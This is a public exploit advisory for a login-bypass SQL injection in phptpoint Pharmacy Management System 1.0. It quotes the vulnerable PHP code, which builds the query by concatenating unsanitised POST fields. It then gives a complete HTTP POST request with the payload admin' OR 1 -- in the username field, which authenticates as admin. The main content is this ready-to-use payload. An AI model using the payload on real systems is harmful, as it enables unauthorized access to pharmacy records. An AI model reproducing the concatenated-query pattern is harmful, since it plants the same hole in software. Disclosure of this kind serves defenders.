PHPTPoint Pharmacy Management System 1.0 SQL Injection

`# Exploit Title: phptpoint Pharmacy Management System 1.0 - 'username' SQL injection  
# Date: 2018-10-24  
# Exploit Author: Boumediene KADDOUR  
# Unit: Algerie Telecom R&D Unit  
# Vendor Homepage: https://www.phptpoint.com/  
# Software Link: https://www.phptpoint.com/pharmacy-management-system/  
# Version: 1  
# Tested on: WAMP windows 10 x64  
# CVE: unknown  
  
# Description:  
# phptpoint Pharmacy Management System SQL injection suffers from a SQL  
# injection vulnerability that allows an attacker to bypass the login page  
# and authenticate as admin or any other user.  
  
# Vulnerable Code:  
  
# 4 $username=$_POST['username'];  
# 5 $password=$_POST['password'];  
# 6 $position=$_POST['position'];  
# 7 switch($position){  
# 8 case 'Admin':  
# 9 $result=mysql_query("SELECT admin_id, username FROM admin WHERE  
# username='$username' AND password='$password'");  
# 10 $row=mysql_fetch_array($result);  
  
# Payload:  
  
POST /Pharmacy/index.php HTTP/1.1  
Host: 172.16.122.4  
Content-Length: 80  
Cache-Control: max-age=0  
Origin: http://172.16.122.4  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Referer: http://172.16.122.4/Pharmacy/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7  
Cookie: PHPSESSID=2kn5jlcarggk5u3bl1crarrj85  
Connection: close  
  
username=admin%27+OR+1+--+&password=anyPassword&position=Admin&submit=Login  
  
  
  
`